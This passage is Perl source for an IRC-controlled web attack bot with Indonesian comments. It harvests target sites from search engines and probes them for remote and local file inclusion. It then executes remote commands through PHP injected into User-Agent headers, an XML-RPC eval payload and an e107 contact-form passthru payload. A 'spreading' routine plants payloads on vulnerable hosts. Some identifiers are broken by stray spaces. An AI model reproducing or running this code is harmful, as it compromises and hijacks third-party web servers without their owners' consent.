while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
}
return @daftar;
}
##[ HOTBOT ]##
sub se_hotbot {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 1; my $max = 200; my $p;
for ( $p = 0;$p <= $max; $p += $num ) {
my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
my $q = bukasitus($url);
while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
}
if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
}
return @daftar;
}
##[ NETSCAPE ]##
sub se_netscape {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 1; my $max = 10; my $p;
for ( $p = 0;$p <= $max; $p += $num ) {
my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
my $q = bukasitus($url);
while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
}
if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
}
return @daftar;
}
## END OF RUTIN SEARCH ENGINE ##
##[ BUG JOOMLA ]##
sub bugjoomla {
my $mode = $_[0];
my @bugz;
system("lwp-download ".$joomlaz);
system("curl -O ".$joomlaz);
system("wget ".$joomlaz);
open(FILE,"< joomla.txt");
if ($mode eq "hitung") {
my $baris = 0; my $buff;
while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
close FILE;
f_hapus("joomla.txt*");
return $baris;
}
else {
while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
close(FILE);
f_hapus("joomla.txt*");
return @bugz;
}
}
##[ MILW0RM ]##
sub milw0rm {
my ($chan,$key) = @_;
my $max = 10; my $i;
#my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
irc_msg($chan," [milw0rm.com] $key ");
while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
$i++;
my ($exp,$judul) = ($1,$2);
irc_msg($chan,$colz{14}." $judul http://milw0rm.com/exploits/$exp ");
sleep(1);
return if ($i == $max);
}
}
##[ BERSIH DORK ]##
sub bersihdork {
my ($chan,$dork) = @_;
if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allin title:/ ) {
irc_msg($chan,$colz{3}." Membersihkan kata kunci Google.. ");
$dork =~ s/^inurl://g;
$dork =~ s/^allinurl://g;
$dork =~ s/^intext://g;
$dork =~ s/^allintext://g;
$dork =~ s/^intitle://g;
$dork =~ s/^allintitle://g;
}
return $dork;
}
##[ SORTIR LINK ]##
sub lnk_sortir {
my @unik = ();
my %ada = ();
foreach my $e ( @_ ) {
next if $ada{ $e }++;
push (@unik, $e);
}
return @unik;
}
##[ SARING LINK ]##
sub lnk_filter {
my @unik = ();
foreach my $url ( @_ ) {
my $jelek = 0;
foreach my $b ( @badlinkz ) {
if ($url =~ /$b/) { $jelek = 1; }
}
if ($jelek == 0) { push (@unik, $url); }
}
return @unik;
}
##[ SUBLINK ]##
sub lnk_sub {
my $link = $_[0];
my (@links,$path);
my ($host,@paths) = split(/\//,$link);
$host .= "/";
push (@links,$host);
foreach my $e (@paths) {
if ($e) {
$path .= $e."/";
my $sublink = $host.$path;
push (@links,$sublink);
}
}
return @links;
}
##[ INFO OS ]##
sub info_os {
my $url = $_[0];
my @info;
my $h = bukasitus($url.$Ckrid2."??");
if ($url =~ /Origins/){
$h = bukasituslfi($url."tes");
}else{
$h = bukasitus($url.$Ckrid2."??");
}
my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$h dd,$disfunc);
while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$p erm,$hdd,$disfunc);
return @info;
}
##[ SAFEMODE INFO ]##
sub safemode {
my ($type,$chan,$situs,$bug,$engine) = @_;
my $safemode; my $vurn; my $sb;
if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn; }
else { $vurn = $situs; $sb = $vurn; }
my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$h dd,$disfunc) = info_os($vurn);
if ($safe =~ /OFF/) { $safemode = "OFF"; } elsif ($safe =~ /ON/) { $safemode ="ON"; } else { $safemode ="-"; }
if ($disfunc) { $disfunc = "[Disfunc][ $disfunc ]"; } else { $disfunc = ""; }
if ($perm =~/W/) { $perm = "$perm"; } else { $perm = "$perm"; }
my $statustgt = "[RFI]";
if($sb =~ /Origins/){$statustgt = "[LFI]";}
my $S1 = $colz{3}.$statustgt.$colz{1}."[".$colz{5}.$safemode.$colz{1}."][".$colz{6}.$os.$colz{1}."][ ".$colz{14}.$sb.$colz{1}." ]";
my $S2 = "[".$colz{14}."Uname".$colz{1}."][ ".$colz{10}.$uname.$colz{1}." ] [".$colz{14}."User".$colz{1}."][ ".$colz{10}.$user.$colz{14}." / $uid ".$colz{1}."] [".$colz{14}."Server".$colz{1}."][".$colz{10}." $server ".$colz{1}."] ";
my $S3 = "[".$colz{14}."Dir".$colz{1}."][".$colz{10}." $dir $perm ".$colz{1}."] [".$colz{14}."HDD".$colz{1}."][".$colz{10}." $hdd ]".$colz{5}." $disfunc ";
if ($type == 1) {
irc_msg($dbgchan,$S1);
if($safemode =~ /O/){ irc_msg($dbgchan,$S2); irc_msg($dbgchan,$S3); }
irc_msg($chan,$colz{3}.$engine) if ($engine);
}
##[ SPREADING ]##
bukasitus($vurn.$spread."?");
bukasituslfisprd($vurn);bukasituslfisprd2($vurn);
sleep($conf{sleepz});
irc_msg($chan,$S1);
if($safemode =~ /O/){ irc_msg($chan,$S2); irc_msg($chan,$S3); }
}
##[ CEK SHELL ]##
sub cek_shell {
my ($chan,$nick,$situs) = @_;
my $q = bukasitus($situs.$Ckrid."?");
print $q;
if ($q =~ /Origins/) { safemode(2,$chan,$situs,"",""); }
elsif ($q =~ /failed to open stream/){
my $qlfi = bukasitus($situs.$lfitest);
if ($qlfi =~ /HTTP_USER_AGENT/){ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."] $colz{3} ".$situs.$colz{8}.$lfitest);safemode(2,$chan,$situs .$lfitest."&Origins=","",""); }
}
else { irc_msg($chan,$colz{3}.$nick.$colz{5}.", targetnya ga vurnerable!"); }
}
##[ ENCRYPT ]##
sub cr_encrypt {
my ($too,$dataenc) = @_;
my $teks =$dataenc;
my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
my $request = HTTP::Request->new(GET=>$hashing);
my $useragent = LWP::UserAgent->new();
$useragent->timeout($conf{timeout});
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
my ($md5,$sha1,$base64) = ($1,$2,$3);
irc_msg($too,$colz{14}."MD5 : ".$colz{6}.$teks.$colz{14}." -> ".$colz{14}.$md5);
irc_msg($too,$colz{14}."Sha1 : ".$colz{6}.$teks.$colz{14}." -> ".$colz{14}.$sha1);
irc_msg($too,$colz{14}."Base64 : ".$colz{6}.$teks.$colz{14}." -> ".$colz{14}.$base64);
}
}
else { irc_msg($too,$colz{5}."MainHack Cannot open web code"); }
}
##[ DECRYPT ]##
sub cr_decrypt {
my ($too,$datadec) = @_;
my $hash = $datadec;
my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout($conf{timeout});
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
my $result = $1;
irc_msg($too,$colz{14}."md5 [RedNoize] ".$colz{6}.$hash.$colz{14}." -> ".$colz{14}.$result);
}
else {
irc_msg($too,$colz{14}."md5 [RedNoize] ".$colz{6}.$hash.$colz{5}." not found.");
}
}
else { irc_msg($too,$colz{5}."Cannot open Md5.RedNoize.cOm"); }
}
##[ CEK IP ]##
sub cr_ipcek {
my ($too,$dipcek) = @_;
my $ip = $dipcek;
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout($conf{timeout});
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
irc_msg($too,$colz{14}."IP Address : ".$colz{6}.$ipaddress);
irc_msg($too,$colz{14}."City : ".$colz{6}.$city);
irc_msg($too,$colz{14}."Country : ".$colz{6}.$country);
irc_msg($too,$colz{14}."Continent : ".$colz{6}.$continent);
}
else { irc_msg($too,$colz{5}."IP-Location Invalid address or IP not found."); }
}
else { irc_msg($too,$colz{5}."IP-Location Cannot open www.ipligence.com"); }
}
##[ CEK ZIP ]##
sub cr_zipcek {
my ($too,$dzipcek) = @_;
my $zip = $dzipcek;
my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
my $request = HTTP::Request->new(GET=>$website);
my $useragent = LWP::UserAgent->new();
$useragent->timeout($conf{timeout});
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
irc_msg($too,$colz{14}."City Name : ".$colz{6}.$city);
irc_msg($too,$colz{14}."State Code : ".$colz{6}.$state);
irc_msg($too,$colz{14}."ZIP Code : ".$colz{6}.$zipcode);
irc_msg($too,$colz{14}."County Name : ".$colz{6}.$county);
irc_msg($too,$colz{14}."Area Code : ".$colz{6}.$area);
}
else { irc_msg($too,$colz{5}."US-ZIP $zip is not a valid ZIP code."); }
}
else { irc_msg($too,$colz{5}."US-ZIP Cannot open www.ZIPInfo.com"); }
}
##[ CMD USER ]##
sub cmd_lfi {
my ($too,$situs,$cmduser) = @_;
$cmdlfiu = $cmduser;
my $qlfi = bukasituslficmd($situs.$lfitest);
if ($qlfi =~ /HTTP_USER_AGENT/){
irc_msg($too,"[".$colz{3}."CMDLFI".$colz{1}."][".$cmduser."] sudah dilaksanakan");
}
else { irc_msg($too,$colz{5}."target LFI ga vurnerable!"); }
bukasituslfisprd($situs.$lfitest);bukasituslfisprd 2($situs.$lfitest);
}
sub cmd_rfi {
my ($too,$situs,$cmduser) = @_;
$cmdrfiu = $cmduser;
my $q = bukasitus($situs.$Ckrid2."?Origins=".$cmduser);
if ($q =~ /Origins/){
irc_msg($too,"[".$colz{3}."CMDRFI".$colz{1}."][".$cmduser."] sudah dilaksanakan");
}
else { irc_msg($too,$colz{5}."target RFI ga vurnerable!"); }
bukasitus($situs.$spread."?");
}
sub cmd_xml {
my ($too,$situs,$cmduser) = @_;
my $q = bukasituscrxml($situs,$cmduser);
if($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scann er/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sle epz});
irc_msg($too,$11);irc_msg($too,$12); }
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sle epz});
irc_msg($too,$11); }
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);irc_msg($too,$10);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scan ner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);}
elsif($q =~ /Origins(.*)\s+(.*)scanner/){
irc_msg($too,$1);}
elsif($q =~ /Origins(.*)scanner/){
irc_msg($too,"[CMDXML][".$cmduser."] sudah dilaksanakan");
}else{ irc_msg($too,$colz{5}."target XML ga vurnerable!"); }
}
sub cmd_e107 {
my ($too,$situs,$cmduser) = @_;
my $q = bukasituscre107($situs,$cmduser);
if($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scann er/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sle epz});
irc_msg($too,$11);irc_msg($too,$12); }
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sle epz});
irc_msg($too,$11); }
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);irc_msg($too,$10);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);sleep($conf{slee pz});
irc_msg($too,$9);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);irc_msg($too,$8);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);sleep($conf{slee pz});
irc_msg($too,$7);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+( .*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);irc_msg($too,$6);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scan ner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);sleep($conf{slee pz});
irc_msg($too,$5);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);irc_msg($too,$4);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);sleep($conf{slee pz});
irc_msg($too,$3);}
elsif($q =~ /Origins(.*)\s+(.*)\s+(.*)scanner/){
irc_msg($too,$1);irc_msg($too,$2);}
elsif($q =~ /Origins(.*)\s+(.*)scanner/){
irc_msg($too,$1);}
elsif($q =~ /Origins(.*)scanner/){
irc_msg($too,"[CMDe107][".$cmduser."] sudah dilaksanakan");
}else{ irc_msg($too,$colz{5}."target e107 ga vurnerable!"); }
}
##[ CEK RESPON ]##
sub cek_respon {
my $chan = $_[0];
my ($q1,$q2) = (bukasitus($Ckrid),bukasitus($Ckrid2));
my ($rid,$rid2,$stat);
if ( $q1 =~ /Ckrid/ ) { $rid = "OK"; $stat = 1; } else { $rid = "ERROR!"; $stat = 0; }
if ( $q2 =~ /Ckrid2/ ) { $rid2 = "OK"; $stat += 1; } else { $rid2 = "ERROR!"; $stat += 0; }
$lfiid2 = bukasitus($Ckrid2);
$lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
irc_msg($chan,$colz{14}."Ckrid:".$colz{3}." $rid ".$colz{14}."Ckrid2:".$colz{3}." $rid2 ".$colz{14}."LFI (Useragent):".$colz{3}." Origins");
return $stat;
}
##[ CEK DORK ]##
sub cek_dork {
my $dork = $_[0];
foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
return 0;
}
##[ CEK BUG ]##
sub cek_bug {
my $bug = $_[0];
foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
return 0;
}
##[ RUTIN PENANGANAN FILE ]##
sub f_hapus { my $file = $_[0]; system("rm $file"); }
sub f_simpan {
my ($nf,$hc) = @_;
my $fh;
open( $fh, ">>", $nf );
my @slink = lnk_sub($hc);
foreach my $s (@slink) { print $fh "$s\n"; }
close $fh;
}
sub f_simpan2 {
my ($nf,$isi) = @_;
my $fh;
open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
}
sub f_simpan2b {
my ($nf,$isi) = @_;
my $fh;
open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
}
##[ HTTP QUERY ]##
sub bukasitus {
my $url = $_[0];
my $request = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new;
$ua->timeout($conf{timeout});
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
my $response = $ua->request($request);
if ($response->is_success) { return $response->content; }
else { return $response->status_line; }
}
sub bukasitus2 {
my $url = $_[0];
my $ua = LWP::UserAgent->new;
$ua->timeout($conf{timeout});
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
my $response = $ua->get($url);
if ($response->is_success) { return $response->content; }
else { return $response->status_line; }
}
sub bukasituscrxml {
my $url = $_[0];
my $crMa = $_[1];
my $exploit;
my $ua = LWP::UserAgent->new;
$ua->timeout($conf{timeout});
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo'Origins';echo`".$crMa."`;echo'scanner';exit;/*</name></value></param></params></methodCall>";
my $response = $ua->request(POST $url,Content_Type => 'text/xml',Content => $exploit);
if ($response->is_success) { return $response->content; }
else { return $response->status_line; }
}
sub bukasituscre107 {
my $inc = $_[0];
my $crMe = $_[1];
if($crMe =~ /Origins VURN/){ $crMe = "echo('Origins'.php_uname().'scanner')"; }else{ $crMe = "echo('Origins ');passthru('".$crMe."');echo(' scanner')"; }
my $ua = LWP::UserAgent->new or die;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(POST => $inc);
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=%5Bphp%5D" .$crMe. "%3Bdie%28%29%3B%5B%2Fphp%5D");
my $res = $ua->request($req);
print $inc;
if($res->is_success) {
return $res->content;
} else {
return $res->status_line;
}
}
sub bukasituscre107spred {
my $inc = $_[0];
my $crMe = $_[1];
my $ua = LWP::UserAgent->new or die;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(POST => $inc);
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=%5Bphp%5D" .$crMe. "%3Bdie%28%29%3B%5B%2Fphp%5D");
my $res = $ua->request($req);
print $inc;
if($res->is_success) {
return $res->content;
} else {
return $res->status_line;
}
}
sub bukasituscre107spred2 {
my $inc = $_[0];
my $crMe = $_[1];
my $encode = uri_escape($crMe);
my $ua = LWP::UserAgent->new or die;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(POST => $inc);
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=" .$encode. "");
my $res = $ua->request($req);
print $inc;
if($res->is_success) {
return $res->content;
} else {
return $res->status_line;
}
}
sub bukasitus3 {
my $url = $_[0];
my $host = $url;
my $query = $url;
my $isi; my $kirim;
my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6";
$host =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
$kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
print $sock $kirim;
my @r = <$sock>;
$isi = "@r";
close($sock);
};
return $isi;
}
sub bukasituslfi {
my $url = $_[0];
my $agent = $lfiid2;
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub bukasituslfisprd {
my $url = $_[0];
my $agent = $lfisprd;
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub bukasituslfisprd2 {
my $url = $_[0];
my $agent = $lfisprd2;
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub bukasituslficmd {
my $url = $_[0];
my $agent = "<?php echo \"crack#\"; exec(\'".$cmdlfiu."\'); echo \"#crack\"; ?>";
my $ua = LWP::UserAgent->new(agent => $agent);
$ua->timeout($conf{timeout});
my $req = HTTP::Request->new(GET => $url);
my $response = $ua->request($req);
return $response->content;
}
sub SiteDomains {
my @dom = ("*.com","*.net","*.org","*.edu","*.gov","*.eu","*.us","*.ru","*.pl","*.biz","*.tv","*.info","*.org","*.net","*.ae","*.ar","*.at","*.au","*.be","*.br","*.ca","*.ch","*.cl","*.de","*.dk","*.fi","*.fr","*.gr","*.hk","*.ie","*.il","*.it","*.jp","*.kr","*.lt","*.lv","*.nl","*.pa","*.pe","*.pl","*.pt","*.ru","*.sg","*.tr","*.tw","*.ua","*.uk","*.hu","*.af","*.ae","*.ag","*.ai","*.am","*.ar","*.as","*.at","*.au","*.az","*.ba","*.bd","*.be","*.bg","*.bh","*.bi","*.bn","*.bo","*.bn","*.bs","*.bw","*.by","*.bz","*.ca","*.cd","*.cg","*.ch","*.ci","*.ck","*.cl","*.cn","*.co","*.cr","*.cu","*.cz","*.de","*.dj","*.dk","*.dm","*.do","*.ec","*.ee","*.eg","*.es","*.et","*.fi","*.fj","*.fm","*.fr","*.ge","*.gg","*.gi","*.gl","*.gm","*.gp","*.gr","*.gt","*.gy","*.hk","*.hn","*.hr","*.ht","*.hu","*.id","*.ie","*.il","*.im","*.in","*.is","*.it","*.je","*.jm","*.jo","*.jp","*.ke","*.kh","*.ki","*.kg","*.kr","*.kz","*.la","*.li","*.lk","*.ls","*.lt","*.lu","*.lv","*.ly","*.ma","*.md","*.mn","*.ms","*.mt","*.mu","*.mv","*.mw","*.mx","*.my","*.na","*.nf","*.ng","*.ni","*.nl","*.no","*.np","*.nr","*.nu","*.nz","*.om","*.pa","*.pe","*.ph","*.pk","*.pl","*.pn","*.pr","*.pt","*.py","*.qa","*.ro","*.ru","*.rw","*.sa","*.sb","*.sc","*.se","*.sg","*.sh","*.si","*.sk","*.sn","*.sm","*.st","*.sv","*.th","*.tj","*.tk","*.tm","*.to","*.tp","*.tr","*.tt","*.tw","*.ua","*.ug","*.uk","*.uy","*.uz","*.vc","*.ve","*.vg","*.vi","*.vn","*.vu","*.ws","*.yu","*.za","*.zm","*.zw");
